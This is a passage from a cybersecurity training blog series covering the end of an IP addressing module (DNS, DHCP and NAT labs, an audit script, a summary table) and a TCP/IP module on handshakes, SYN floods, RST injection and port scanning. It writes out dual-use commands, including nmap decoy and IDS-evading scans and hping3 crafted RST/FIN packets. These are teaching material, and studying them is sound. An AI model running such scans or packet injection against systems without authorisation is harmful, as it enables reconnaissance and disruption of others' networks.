    print(name)
" 2>/dev/null || echo "crt.sh query failed"

echo "=== DNSSEC Check ==="
dig +dnssec A $TARGET | grep -E "RRSIG|AD flag" || echo "DNSSEC info check"

echo "=== Reverse DNS on Found IPs ==="
for ip in $(dig A $TARGET +short); do
    ptr=$(dig -x $ip +short 2>/dev/null)
    echo "$ip → $ptr"
done

Exercise 3: DHCP Analysis (30 minutes)

# Capture and analyse DHCP traffic

# Start DHCP capture:
sudo tcpdump -i eth0 -n -v 'port 67 or port 68' &
TCPDUMP_PID=$!

# Trigger DHCP renewal:
sudo dhclient -v -r eth0 2>&1          # Release
sleep 1
sudo dhclient -v eth0 2>&1            # Renew

sleep 5
kill $TCPDUMP_PID 2>/dev/null

# Questions to answer from the capture:
echo "=== DHCP Analysis Questions ==="
echo "1. What is the DHCP server IP?"
echo "2. What IP was offered to you?"
echo "3. What is the default gateway option?"
echo "4. What DNS servers were provided?"
echo "5. What is the lease time in seconds? In hours?"
echo "6. What is the subnet mask?"
echo "7. What Transaction ID was used? (Shows request-response matching)"

# Check current DHCP lease:
cat /var/lib/dhclient/dhclient.leases 2>/dev/null || \
cat /var/lib/NetworkManager/dhclient-*.conf 2>/dev/null || \
nmcli device show eth0 2>/dev/null | grep DHCP

Exercise 4: NAT and IP Masquerading (30 minutes)

# Configure Linux as a NAT router between two interfaces
# (Requires two network interfaces — suitable for VM lab)

# Identify interfaces:
ip link show

# Enable IP forwarding:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Configure NAT (masquerade):
# Assume: eth0 is WAN (internet side), eth1 is LAN (internal)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

# Verify NAT table:
sudo iptables -t nat -L -n -v

# Test from a client on eth1 side:
# Client should be able to reach internet through this machine

# Enable NAT logging (critical for forensics):
sudo iptables -t nat -A POSTROUTING -o eth0 -j LOG --log-prefix "NAT: " --log-level 6
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# View NAT log:
sudo dmesg | grep "NAT:"
# Or: journalctl -k | grep "NAT:"

# View current NAT connections:
sudo conntrack -L 2>/dev/null    # Requires conntrack package
# Shows all active NAT translations in real time

Exercise 5: Complete Network Audit Script

# Build a network audit script that combines all concepts from this module

cat > /tmp/network_audit.sh << 'EOF'
#!/bin/bash
# Network Security Audit — Stage 1.4 Exercise
# Collects network configuration and highlights security concerns

echo "===== NETWORK SECURITY AUDIT ====="
echo "Timestamp: $(date)"
echo ""

echo "--- Interfaces and Addresses ---"
ip addr show | grep -E "^[0-9]|inet "
echo ""

echo "--- Routing Table ---"
ip route show
echo ""

echo "--- Default Gateway ---"
ip route | grep default
echo ""

echo "--- ARP Cache (recently seen hosts) ---"
ip neigh show
echo ""

echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""

echo "--- Active Connections ---"
ss -tulnp | head -20
echo ""

echo "--- DHCP Lease ---"
cat /var/lib/dhclient/dhclient.leases 2>/dev/null | grep -E "lease|fixed-address|routers|domain-name-servers" | head -10
echo ""

echo "--- Security Checks ---"

# Check for RFC1918 addresses:
echo "RFC1918 interfaces:"
ip addr | grep -oE '(10|172\.(1[6-9]|2[0-9]|3[01])|192\.168)\.[0-9]+\.[0-9]+/[0-9]+'

# Check IP forwarding:
fwd=$(cat /proc/sys/net/ipv4/ip_forward)
[ "$fwd" = "1" ] && echo "[!] IP FORWARDING ENABLED — is this machine a router?" || echo "[OK] IP forwarding disabled"

# Check ICMP redirect acceptance:
redir=$(cat /proc/sys/net/ipv4/conf/all/accept_redirects)
[ "$redir" = "1" ] && echo "[!] ICMP REDIRECTS ACCEPTED — potential route hijack risk" || echo "[OK] ICMP redirects disabled"

# Check for unusual listening services:
echo ""
echo "Listening on all interfaces (0.0.0.0 or :::):"
ss -tlnp | grep -E "0\.0\.0\.0|:::"

echo ""
echo "===== AUDIT COMPLETE ====="
EOF
chmod +x /tmp/network_audit.sh
bash /tmp/network_audit.sh

16. Module Summary

Concept	Core Mechanism	Attack Relevance	Defence
IPv4 Binary	32-bit number in dotted-decimal	Foundation of all addressing calculations	Must understand for subnet design and firewall rules
Address Classes	Historical classful boundaries	Legacy OT devices may use class defaults	Know class defaults to diagnose legacy device issues
Public vs Private	RFC 1918 ranges never routed publicly	IP spoofing detection, cloud metadata SSRF	BCP38 filtering, restrict metadata service access
Cloud Metadata	169.254.169.254 serves cloud credentials	SSRF → metadata → credential theft (Capital One 2019)	IMDSv2, firewall metadata endpoint, least-privilege IAM
CIDR	Variable prefix length, replaces classful	Scope definition for scans, subnet calculation	Design minimal subnets, audit CIDR firewall rules
Subnet Mask	Binary AND determines network vs host	Network boundary calculation, routing decisions	Correct mask prevents unintended reachability
Subnetting	Dividing address space into segments	Lateral movement: routing tables reveal all subnets	Segmentation reduces blast radius of any compromise
VLSM	Different prefix lengths per subnet	Efficient segmentation design	Right-size each zone, isolate OT with dedicated subnets
NAT	IP translation via state table	NAT hides source for forensics, C2 bypasses NAT	Log all NAT translations — required for incident response
PAT	Port-based multiplexing of many-to-one	Port exhaustion DoS, forensic attribution challenges	Enable NAT logging, track source ports
DHCP	Automatic IP assignment via DORA	Starvation, rogue server → MITM, Option 121 TunnelVision	DHCP snooping, trusted port designation
DNS Resolution	Hierarchical recursive lookup	Cache poisoning, DNS tunnelling, C2 via DNS	DNSSEC, DoH/DoT, DNS monitoring
DNS Attacks	Cache poisoning, tunnelling, takeover	C2 over DNS, data exfiltration, phishing	Query rate monitoring, DNSSEC validation, TTL anomaly detection
A/AAAA records	Hostname to IP mapping	Cache poisoning target	DNSSEC, monitor for unexpected changes
MX records	Mail server identification	Target for email infrastructure attacks	Firewall, SPF/DKIM/DMARC
CNAME records	Alias to another hostname	Subdomain takeover via dangling CNAME	Audit all CNAMEs, remove stale entries
TXT records	Arbitrary text (SPF, DKIM, DMARC)	Missing SPF/DMARC → email spoofing	p=reject DMARC + SPF -all + DKIM
NS records	Authoritative nameservers	NS compromise → total DNS control	Secure registrar, DNSSEC, monitor NS changes
PTR records	Reverse DNS	Reconnaissance, mail rejection without PTR	Maintain PTR records, use for anomaly detection
SRV records	Service location (AD)	AD enumeration without scanning	Monitor SRV queries for reconnaissance patterns
OT Addressing	Mostly static, flat networks common	Static IPs predictable, flat = lateral movement	Segmentation with VLSM, passive-only asset discovery

Next Module: Stage 1.5 — Core Protocols

Previous Module: Stage 1.3 — TCP/IP Model

Series Index: Full Roadmap

Stage 1.3 — TCP/IP Model

Rençber AKMAN — Mon, 01 Jun 2026 10:05:12 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.3 — TCP/IP Model

Level: Beginner → Advanced

Prerequisites: Stage 1.2 — OSI Model

Next Module: 1.4 — IP Addressing and Subnetting

Why TCP/IP Is the Foundation of Every Attack and Defence
TCP/IP Model — Four Layers, One Internet
TCP vs UDP — The Fundamental Choice
TCP Three-Way Handshake — Deep Dive
TCP Four-Way Termination
TCP Internals — What Textbooks Skip
IPv4 Addressing
IPv6 Fundamentals
ICMP — The Network's Diagnostic Layer
ARP — Address Resolution Protocol
Putting It All Together — A Complete Packet's Journey
TCP/IP in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why TCP/IP Is the Foundation of Every Attack and Defence

TCP/IP is not a topic you study and move past. It is the substrate on which every network interaction in your career will happen. Every shell you catch, every packet you capture, every firewall rule you write, every alert you investigate — it all lives inside TCP/IP.

Concrete career examples:

When you run Metasploit and set LHOST and LPORT, you are configuring a TCP or UDP listener at the IP layer. When your reverse shell connects back, it initiates a TCP three-way handshake. When you lose the shell because the target rebooted, the TCP connection terminated via RST or timeout.

When you use Wireshark to analyse a suspected C2 beacon, you are looking at TCP streams. The beacon's timing, payload size, and connection frequency are all visible in TCP/IP metadata — even when the payload is encrypted.

When a SOC analyst sees "port 4444 outbound to 185.220.x.x," they know: that is TCP, that is Metasploit's default listener port, and that is a Tor exit node IP range. All of that reasoning comes from knowing TCP/IP deeply.

When an OT engineer says "the PLC stopped responding," the first question is: is it a Layer 3 (IP routing) problem, a Layer 4 (TCP connection state) problem, or a Layer 7 (Modbus application) problem? You cannot answer that without knowing TCP/IP.

The security reality: TCP/IP was designed in the 1970s-80s for a cooperative research network. Authentication was not a design requirement. Every IP address can be spoofed. Every TCP connection can be reset by a third party. ARP has no authentication. ICMP can be used to map networks and crash systems. These are not bugs — they are the protocol as designed. Understanding these properties is what allows you to exploit them offensively and defend against their exploitation defensively.

2. TCP/IP Model — Four Layers, One Internet

2.1 The Model

The TCP/IP model (also called the DoD model — Department of Defense, which funded its development) describes how internet protocols are organised. Unlike OSI's seven layers, TCP/IP uses four:

┌─────────────────────────────────────────────────────────────┐
│  Layer 4 — Application                                      │
│  HTTP, HTTPS, DNS, SMTP, FTP, SSH, Telnet, SNMP,           │
│  Modbus TCP, DNP3, IEC 60870-5-104, OPC-UA                 │
├─────────────────────────────────────────────────────────────┤
│  Layer 3 — Transport                                        │
│  TCP (port-to-port, reliable)                               │
│  UDP (port-to-port, unreliable)                             │
│  SCTP, QUIC                                                 │
├─────────────────────────────────────────────────────────────┤
│  Layer 2 — Internet                                         │
│  IPv4, IPv6                                                 │
│  ICMP, ICMPv6                                               │
│  IPSec (AH, ESP)                                           │
├─────────────────────────────────────────────────────────────┤
│  Layer 1 — Network Access (Link)                            │
│  Ethernet, Wi-Fi (802.11), ARP                             │
│  Physical medium: copper, fibre, radio                      │
└─────────────────────────────────────────────────────────────┘

2.2 OSI vs TCP/IP — The Mapping Every Professional Needs

OSI Layer          OSI Name        TCP/IP Layer     TCP/IP Name
─────────────────────────────────────────────────────────────
7                  Application   ─┐
6                  Presentation  ─┼──────────────→  Application
5                  Session       ─┘
4                  Transport      ─────────────→   Transport
3                  Network        ─────────────→   Internet
2                  Data Link     ─┐
1                  Physical      ─┴─────────────→  Network Access

Why this matters: Security tools, CVEs, and documentation reference both models. A vulnerability described as "L4 TCP RST injection" and one described as "transport layer attack" mean the same thing. An "L3 routing attack" is an "Internet layer attack" in TCP/IP terms. You must translate fluently between both.

2.3 The Internet Layer — The Core of TCP/IP

The Internet layer (IP) is what makes the internet work. It provides:

Logical addressing: IP addresses identify hosts globally
Routing: Packets are forwarded hop-by-hop toward the destination
Fragmentation: Large packets split to fit link MTU
Connectionless delivery: No guarantees — best effort

IP's lack of guarantees is intentional. Reliability, ordering, and error correction are pushed up to the Transport layer (TCP) or the application. This separation of concerns made the internet scalable — routers only need to forward packets, not maintain state for every connection.

3. TCP vs UDP — The Fundamental Choice

3.1 The Design Philosophy

TCP and UDP represent two fundamentally different answers to the question: "How should we move data between applications?"

TCP answer: "Reliably. I will guarantee every byte arrives, in order,
             exactly once. I will establish a connection first, track
             what was sent, retransmit what was lost, and signal when
             I'm done. Cost: overhead, latency, connection state."

UDP answer: "As fast as possible. I will send the data and forget it.
             No connection setup. No tracking. No retransmission.
             If it arrives, great. If not, the application deals with it.
             Cost: no reliability guarantees."

3.2 TCP — Transmission Control Protocol

Header structure (20 bytes minimum):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
┌───────────────────────────┬───────────────────────────────────┐
│       Source Port         │        Destination Port           │  4 bytes
├───────────────────────────┴───────────────────────────────────┤
│                    Sequence Number                             │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                 Acknowledgement Number                         │  4 bytes
├────────┬───────┬─┬─┬─┬─┬─┬─┬─┬─┬───────────────────────────┤
│  Data  │Reserv.│C│E│U│A│P│R│S│F│        Window Size         │  4 bytes
│ Offset │       │W│C│R│C│S│S│Y│I│                            │
│        │       │R│E│G│K│H│T│N│N│                            │
├────────┴───────┴─┴─┴─┴─┴─┴─┴─┴─┴───────────────────────────┤
│           Checksum             │       Urgent Pointer         │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                    Options (variable)                          │  0-40 bytes
└───────────────────────────────────────────────────────────────┘

Critical fields and their security relevance:

Source Port / Destination Port (16 bits each):

Identify which application is communicating
Source port on clients: ephemeral (49152-65535 typically)
Destination port identifies the service: 22=SSH, 80=HTTP, 443=HTTPS, 502=Modbus
Security: Firewall rules filter on port numbers. Port scanning (Nmap) determines which ports have listening services. Port spoofing is possible but doesn't affect server-side port allocation.

Sequence Number (32 bits):

Tracks position in the byte stream
Initial Sequence Number (ISN) is random (per RFC 6528 — cryptographically random to prevent prediction)
Each byte of data sent increments the sequence number
Security: Historical predictable ISNs enabled TCP session hijacking. Mitnick's 1994 attack against Tsutomu Shimomura predicted ISNs to forge TCP connections. Modern OSes use random ISNs, but weak ISN generation (CVE-2001-0751, others) has recurred.

Acknowledgement Number (32 bits):

Next expected byte from the other side
"I have received everything up to byte N, send me byte N+1 next"

Flags (9 bits):

CWR: Congestion Window Reduced
ECE: ECN-Echo (explicit congestion notification)
URG: Urgent pointer valid
ACK: Acknowledgement field valid — set on all packets after handshake
PSH: Push — deliver data to application immediately, don't buffer
RST: Reset — abort connection immediately
SYN: Synchronise — initiate connection (ISN negotiation)
FIN: Finish — no more data from sender (graceful close)

Window Size (16 bits):

How many bytes the receiver is willing to accept before requiring acknowledgement
TCP flow control mechanism
Security: Window size is an OS fingerprinting signal. Linux, Windows, and macOS use different default window sizes and scaling factors. Nmap uses window size as part of OS detection.

TCP Options (variable):

Common TCP options:
  MSS (Maximum Segment Size): Maximum TCP payload per segment
                               Typically 1460 bytes (1500 MTU - 20 IP - 20 TCP)
  Window Scale: Multiplier for window size (enables large windows)
  SACK (Selective Acknowledgement): Acknowledge non-contiguous data
  Timestamps: Used for RTT measurement and PAWS (Protection Against Wrapped Seq.)
  No-Operation (NOP): Padding

Security: TCP options reveal OS. The combination of MSS, window scale,
SACK support, and timestamp presence is a reliable OS fingerprint.
Nmap's -O flag uses this — as does passive fingerprinting (p0f).

3.3 UDP — User Datagram Protocol

Header structure (8 bytes — fixed):

┌───────────────────────────┬───────────────────────────────────┐
│       Source Port         │        Destination Port           │  4 bytes
├───────────────────────────┴───────────────────────────────────┤
│           Length           │           Checksum               │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                         Data                                   │
└───────────────────────────────────────────────────────────────┘

UDP has no:

Sequence numbers (no ordering)
Acknowledgements (no reliability)
Flow control (no congestion management)
Connection state (no handshake)

When UDP is correct:

Use Case	Why UDP	Example Protocols
DNS queries	Single request/response, retry easy	DNS (UDP 53)
Real-time media	Latency more important than reliability	VoIP, video streaming
Time synchronisation	Precision more important than reliability	NTP (UDP 123)
Network management	Simple request/response	SNMP (UDP 161)
Tunnelling protocols	Custom reliability at higher layer	WireGuard, QUIC
Multicast/Broadcast	TCP cannot multicast	DHCP, mDNS, SSDP
Industrial real-time	Sub-millisecond timing requirements	PROFINET RT, EtherNet/IP

3.4 TCP vs UDP Security Comparison

Attack                      TCP        UDP       Notes
─────────────────────────────────────────────────────────────────
IP Spoofing               Limited    Effective  TCP requires handshake; UDP fire-and-forget
Amplification DDoS         No        YES        UDP has no handshake; responses sent to victim
SYN Flood                  YES       No         TCP-specific: half-open connection exhaustion
Port Scanning             Easy       Harder     TCP RST/SYN-ACK indicates open; UDP needs app response
Session Hijacking          YES       Stateless  TCP has sessions; UDP doesn't
Man-in-the-Middle          YES       YES        Both can be intercepted
C2 Communication          Common    Common      Depends on operational requirements
Firewall Bypass           Harder    Easier      Stateful firewalls track TCP; UDP often loosely filtered

# Identify TCP vs UDP ports in a capture
sudo tcpdump -i eth0 -n 'tcp' -c 20      # TCP traffic only
sudo tcpdump -i eth0 -n 'udp' -c 20      # UDP traffic only

# Nmap: scan both TCP and UDP
sudo nmap -sS 192.168.1.1               # TCP SYN scan (fast, stealthy)
sudo nmap -sU 192.168.1.1               # UDP scan (slower, requires responses)
sudo nmap -sS -sU -p T:80,443,22,U:53,161,123 192.168.1.1  # Both protocols

# See all open TCP/UDP ports on local system
ss -tulnp                               # TCP+UDP listening with process names
ss -t state established                 # Established TCP connections

Key Insight: The choice between TCP and UDP is a security decision, not just a performance one. UDP-based services are harder to firewall correctly (stateless), more susceptible to spoofing-based attacks, and are the mechanism behind virtually every large-scale DDoS amplification attack. Every time you see UDP on a port that isn't expected, it deserves investigation.

4. TCP Three-Way Handshake — Deep Dive

4.1 The Mechanics

CLIENT                                         SERVER
  │                                              │
  │  ──── [SYN] seq=ISN_c ──────────────────→   │
  │       Flags: SYN                             │
  │       Seq:   100 (random ISN)               │
  │       Ack:   0 (not yet)                    │
  │       Window: 65535                         │
  │       Options: MSS=1460, SACK, Timestamps   │
  │                                              │
  │  ←─── [SYN-ACK] seq=ISN_s, ack=ISN_c+1 ───  │
  │       Flags: SYN, ACK                        │
  │       Seq:   500 (server's random ISN)      │
  │       Ack:   101 (client's ISN + 1)        │
  │       Window: 28960                         │
  │       Options: MSS=1460, SACK, Timestamps   │
  │                                              │
  │  ──── [ACK] seq=ISN_c+1, ack=ISN_s+1 ──→   │
  │       Flags: ACK                             │
  │       Seq:   101                            │
  │       Ack:   501 (server's ISN + 1)        │
  │                                              │
  │  ══════════ [CONNECTION ESTABLISHED] ══════  │
  │                                              │
  │  ──── [PSH,ACK] DATA ───────────────────→   │
  │  ←─── [ACK] ──────────────────────────────  │

Why three packets, not two?

Two-way handshake (SYN → SYN-ACK) would only confirm that the client can reach the server and that the server can send back. It does not confirm that the server's response can reach the client. The third ACK confirms bidirectional communication.

More importantly, the three-way handshake establishes two independent sequence number spaces — one for each direction. The client's ISN is acknowledged by the server's ACK, and the server's ISN is acknowledged by the client's final ACK. This is why it requires three messages.

4.2 ISN — Initial Sequence Number Security

The ISN is the single most security-critical field in the TCP handshake. Historically:

Pre-1996 implementations:
Many early TCP stacks incremented the global ISN counter by a fixed amount per second. An attacker could:

Connect to the target legitimately to observe the current ISN
Predict the ISN the target would use for the next connection
Forge a TCP connection by sending SYN with spoofed source IP, then complete the handshake using the predicted ISN
Inject data into a trust relationship (e.g., impersonate a trusted host)

This is exactly what Kevin Mitnick did in his 1994 attack on Tsutomu Shimomura's machines — he exploited predictable ISNs over a Christmas weekend to hijack a TCP session and access Shimomura's files.

Modern ISN generation (RFC 6528, 2012):

ISN = M + F(localhost, localport, remotehost, remoteport, secret_key)

M = 4-microsecond timer (prevents wrapping)
F = hash function (typically MD5 or SipHash)
secret_key = random value generated at system boot

Result: ISN appears random for each new connection,
        cannot be predicted without knowing the secret key,
        but can be reproduced for retransmission purposes

# Observe ISN randomisation in practice
# Connect three times and compare SYN sequence numbers:

python3 << 'EOF'
import socket, struct

for i in range(3):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('google.com', 80))
    # Get local port assigned by OS
    local_port = s.getsockname()[1]
    print(f"Connection {i+1}: local port {local_port}")
    s.close()
# Each connection uses different source port and different ISN
# Capture with tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' to see ISNs
EOF

# Capture SYN packets and extract sequence numbers
sudo tcpdump -i eth0 -n 'tcp[tcpflags] & tcp-syn != 0 and not tcp[tcpflags] & tcp-ack != 0' \
    -X 2>/dev/null | grep -A2 "Flags \[S\]"

4.3 SYN Flood Attack — Exploiting the Handshake State

The three-way handshake requires the server to allocate state after receiving the first SYN — before the handshake is complete. This is the foundation of the SYN flood attack.

Normal handshake state machine on server:
  CLOSED → LISTEN → SYN_RECEIVED → ESTABLISHED

SYN flood:
  Attacker sends thousands of SYN packets per second
  Server allocates entry in connection table for each (SYN_RECEIVED state)
  Server sends SYN-ACK to source IP (often spoofed — no response comes back)
  Connection remains half-open, consuming memory
  After timeout (~75 seconds default), half-open connection is removed
  But attacker sends new SYNs faster than timeouts clear old ones
  Connection table fills → new legitimate connections rejected → DoS

Connection table limits:
  Linux: /proc/sys/net/ipv4/tcp_max_syn_backlog (default: 256-1024)
  Windows: Configurable, typically 200 per port

SYN Cookies — The Defence:

SYN Cookie algorithm (RFC 4987):
  When under attack (or always, in some implementations):

  1. Server receives SYN
  2. Server does NOT allocate state
  3. Server computes cookie = HMAC(srcIP, srcPort, dstIP, dstPort, secret, timestamp)
  4. Server sends SYN-ACK with cookie as the sequence number
  5. If legitimate client completes handshake, sends ACK with ack_number = cookie + 1
  6. Server verifies cookie in the ACK — valid means legitimate client
  7. Server allocates connection state ONLY for verified connections

Result: Server has zero state for half-open connections
        SYN flood has no effect — no state to exhaust

Tradeoff: TCP options (SACK, timestamps, window scaling) cannot be stored
          in the cookie; lost if SYN cookies are triggered
          Modern implementations encode some options in cookie bits

Check SYN cookie status:
cat /proc/sys/net/ipv4/tcp_syncookies
# 0 = disabled
# 1 = enabled when under attack (default on modern Linux)
# 2 = always enabled

# Monitor SYN flood detection:
watch -n 1 'netstat -s | grep -i "syn"'
# SYNs to LISTEN sockets dropped: counter increases during flood

4.4 Port Scanning — Abusing the Handshake

Different TCP flag combinations reveal different information about a port:

Nmap scan types and their mechanics:

TCP Connect Scan (-sT):
  Client → [SYN] → Server
  Open port:    Server → [SYN-ACK] → Client → [ACK] → [RST] → disconnect
  Closed port:  Server → [RST] → Client
  Filtered:     No response (firewall drops)
  Advantage: Works as unprivileged user
  Disadvantage: Noisy — completes full handshake, logged by target

SYN Scan / Half-Open Scan (-sS):
  Client → [SYN] → Server
  Open port:    Server → [SYN-ACK] → Client → [RST] (never completes)
  Closed port:  Server → [RST]
  Filtered:     No response
  Advantage: Faster, stealthier — many services don't log incomplete handshakes
  Disadvantage: Requires root/admin (raw socket access)
  THIS IS NMAP'S DEFAULT WHEN RUN AS ROOT

FIN Scan (-sF):
  Client → [FIN] → Server
  Open port:    Server → [no response] (RFC 793: ignore unexpected FIN)
  Closed port:  Server → [RST]
  Use: Bypass stateless firewalls that only block SYN packets

XMAS Scan (-sX):
  Client → [FIN, URG, PSH] → Server
  Same response as FIN scan
  Named "XMAS" because all flags lit up like a Christmas tree

NULL Scan (-sN):
  Client → [no flags] → Server
  Same response as FIN scan

ACK Scan (-sA):
  Client → [ACK] → Server
  Used to map FIREWALL RULES, not port states
  Both open and closed ports respond with RST
  Filtered = no response (firewall drops ACK packets)

Window Scan (-sW):
  Sends ACK packets, examines TCP window size in RST response
  Some systems use non-zero window for open ports, zero for closed
  OS-dependent and unreliable

# Common Nmap usage for TCP analysis:
sudo nmap -sS -p- 192.168.1.100               # All 65535 ports, SYN scan
sudo nmap -sS -sV -p 22,80,443,502 192.168.1.100  # Version detection on specific ports
sudo nmap -sS -O 192.168.1.100                # OS detection (uses TCP/IP fingerprinting)
sudo nmap -sS --scan-delay 1s 192.168.1.100   # Slow scan to evade rate-limit detection
sudo nmap -sS -D RND:10 192.168.1.100         # Decoy scan (mix real scan with fake source IPs)

# Timing templates (T0=paranoid, T5=insane):
sudo nmap -T4 -sS 192.168.1.0/24             # Aggressive timing for LAN scanning
sudo nmap -T1 -sS 192.168.1.100              # Slow, evade IDS timing detection

# Capture the SYN scan traffic to understand what it looks like:
sudo tcpdump -i eth0 -n 'host 192.168.1.100 and tcp' &
sudo nmap -sS 192.168.1.100
# Observe: rapid SYN packets, RST responses for closed, SYN-ACK for open

Key Insight: The TCP three-way handshake is simultaneously the mechanism that makes TCP reliable AND the mechanism that makes SYN flood attacks possible. SYN cookies elegantly resolve this tension by deferring state allocation until connection completion. Understanding exactly what state is allocated where and when is the foundation of both DoS attacks and their mitigations.

5. TCP Four-Way Termination

5.1 Graceful Connection Close

TCP connections are full-duplex — data can flow in both directions simultaneously. Closing a TCP connection requires closing each direction independently, which is why it requires four messages instead of three:

CLIENT                                         SERVER
  │                                              │
  │  ──── [FIN, ACK] seq=x ─────────────────→   │  Client: "Done sending"
  │                                              │
  │  ←─── [ACK] ack=x+1 ──────────────────────  │  Server: "Got your FIN"
  │                                              │  [Server may still be sending data]
  │                                              │
  │  ←─── [FIN, ACK] seq=y ───────────────────  │  Server: "Done sending too"
  │                                              │
  │  ──── [ACK] ack=y+1 ────────────────────→   │  Client: "Got your FIN"
  │                                              │
  │  [TIME_WAIT: 2×MSL seconds]                 │  [CLOSED]
  │  [CLOSED after TIME_WAIT]                   │

TIME_WAIT state:
After sending the final ACK, the client enters TIME_WAIT for 2×MSL (Maximum Segment Lifetime, typically 60-120 seconds). This ensures:

The final ACK reached the server (if it was lost, server resends FIN and client can re-ACK)
Old duplicate packets from the connection cannot confuse a new connection using the same 4-tuple

Security implication of TIME_WAIT:
TIME_WAIT exhaustion is a DoS attack vector. By rapidly opening and closing connections, an attacker can fill the source port space (65535 ephemeral ports) with TIME_WAIT sockets, preventing new outbound connections.

# Count connections by state
ss -tan | awk '{print $1}' | sort | uniq -c | sort -rn
# or:
netstat -tan | awk '{print $6}' | sort | uniq -c | sort -rn

# States you'll see:
# ESTABLISHED: Active connections
# TIME_WAIT:   Waiting for network stragglers after close
# CLOSE_WAIT:  Remote end sent FIN, waiting for local application to close
# SYN_SENT:    Sent SYN, waiting for SYN-ACK
# SYN_RECEIVED: Got SYN, sent SYN-ACK, waiting for ACK
# LISTEN:      Waiting for incoming connections
# FIN_WAIT_1:  Sent FIN, waiting for ACK
# FIN_WAIT_2:  Got ACK for FIN, waiting for remote FIN
# LAST_ACK:    Sent FIN after CLOSE_WAIT, waiting for ACK
# CLOSING:     Both sides sent FIN simultaneously

# If you see thousands of TIME_WAIT: normal for busy web servers
# If you see growing SYN_RECEIVED: possible SYN flood
# If you see growing CLOSE_WAIT: application not closing sockets properly (bug)
# If you see unusual ESTABLISHED connections: potential backdoors

5.2 RST — Abrupt Connection Reset

RST (Reset) immediately terminates a connection without the four-way handshake. The receiving side discards any unacknowledged data and removes connection state immediately.

RST is sent by:

A port that has no listening service (response to SYN on closed port)
A system receiving a packet for a non-existent connection
A system that wants to abort a connection immediately

RST injection attack:
An attacker who knows the current sequence number of an established TCP connection can forge a RST packet that terminates the connection. Sequence number guessing was historically easy on predictable ISN implementations.

RST injection use cases:
1. Network censorship: "Great Firewall of China" injects TCP RST packets
   to terminate connections to blocked content
   Tools: nmap can detect RST injection by comparing responses from different
   vantage points — discrepancies indicate path-level RST injection

2. Intrusion Prevention: IPS devices inject RST to both ends of a connection
   to terminate detected attack traffic

3. Offensive: Terminate an ongoing session between two victims (DoS)

4. Testing: Verify firewall blocks — does a blocked connection receive RST
   (firewall rejects) or nothing (firewall drops silently)?

# hping3 — craft specific TCP packets
sudo hping3 -S -p 80 -c 3 192.168.1.1           # Send 3 SYN to port 80
sudo hping3 -R -p 80 192.168.1.1                # Send RST to port 80
sudo hping3 -A -p 80 192.168.1.1                # Send ACK (firewall mapping)
sudo hping3 -F -p 80 192.168.1.1                # Send FIN (FIN scan)
sudo hping3 -SA -p 80 192.168.1.1               # SYN+ACK (unusual)

# Detect RST injection in Wireshark:
# Filter: tcp.flags.reset == 1
# Compare RST TTLs with expected TTL from destination
# If RST TTL differs significantly from normal responses, RST was injected
# by an intermediate device (firewall, IPS, censor)

6. TCP Internals — What Textbooks Skip

6.1 TCP Flow Control — The Sliding Window

Flow control prevents a fast sender from overwhelming a slow receiver. The receiver advertises how much buffer space it has (the window size), and the sender limits outstanding unacknowledged data to this window.

Window size = how many bytes receiver can accept without ACK

Sender                          Receiver (window = 4 bytes)
  │                               │ [Buffer: _ _ _ _] (4 empty slots)
  │──── Bytes 1-4 ──────────────→ │ [Buffer: 1 2 3 4] (full)
  │                               │
  │ ←── ACK 5, Window=4 ────────  │ [Buffer: _ _ _ _] (processed, empty)
  │──── Bytes 5-8 ──────────────→ │
  ...

Window scaling (RFC 7323):
  16-bit window field max: 65,535 bytes
  Over fast WAN links, this limits throughput
  Window Scale option multiplies window size by 2^shift_count
  Maximum effective window: 65535 × 2^14 = ~1 GB

Security implication:
Zero Window Attack: An attacker who can manipulate the receiver into advertising a zero window keeps the sender blocked indefinitely. The sender enters "persist" state, sending small "window probe" packets waiting for the window to open. This can cause connection-level DoS without flooding.

6.2 TCP Congestion Control

TCP automatically adapts to network congestion through four algorithms:

Slow Start:
  Start with small congestion window (cwnd = 1 MSS)
  Double cwnd each RTT until threshold (ssthresh)
  "Exponential growth"

Congestion Avoidance:
  After ssthresh, increase cwnd by 1 MSS per RTT
  "Linear growth"

Fast Retransmit:
  3 duplicate ACKs = probable packet loss (not timeout)
  Retransmit immediately without waiting for timeout

Fast Recovery:
  After fast retransmit, halve ssthresh and cwnd
  Resume congestion avoidance (not slow start)

Security relevance: TCP congestion control can be exploited:

ACK throttling: Send ACKs slowly to the sender, reducing its throughput
Spurious retransmissions: Cause the sender to believe packets were lost, triggering congestion response
Delayed ACK manipulation: Exploit TCP's delayed ACK optimisation to affect throughput

6.3 TCP Keepalive

TCP keepalive probes are periodic empty ACK packets sent on idle connections to verify the other end is still alive.

# Linux TCP keepalive settings:
cat /proc/sys/net/ipv4/tcp_keepalive_time      # 7200 (seconds before first probe)
cat /proc/sys/net/ipv4/tcp_keepalive_intvl     # 75 (seconds between probes)
cat /proc/sys/net/ipv4/tcp_keepalive_probes    # 9 (number of probes before giving up)

# Default: 7200s (2 hours!) before first probe
# A dead connection consumes state for 2+ hours by default
# Adjust for security-sensitive applications:
sysctl -w net.ipv4.tcp_keepalive_time=60     # 60 seconds
sysctl -w net.ipv4.tcp_keepalive_intvl=10    # 10 second intervals
sysctl -w net.ipv4.tcp_keepalive_probes=3    # 3 probes then give up

# Security implication:
# Long keepalive intervals allow stealthy C2 connections to persist
# for hours between communications without the connection timing out
# This is why some C2 frameworks use long TCP idle periods
# Detection: connections with high idle time and periodic tiny packets

7. IPv4 Addressing

7.1 Structure

IPv4 addresses are 32-bit binary numbers, written as four decimal octets separated by dots.

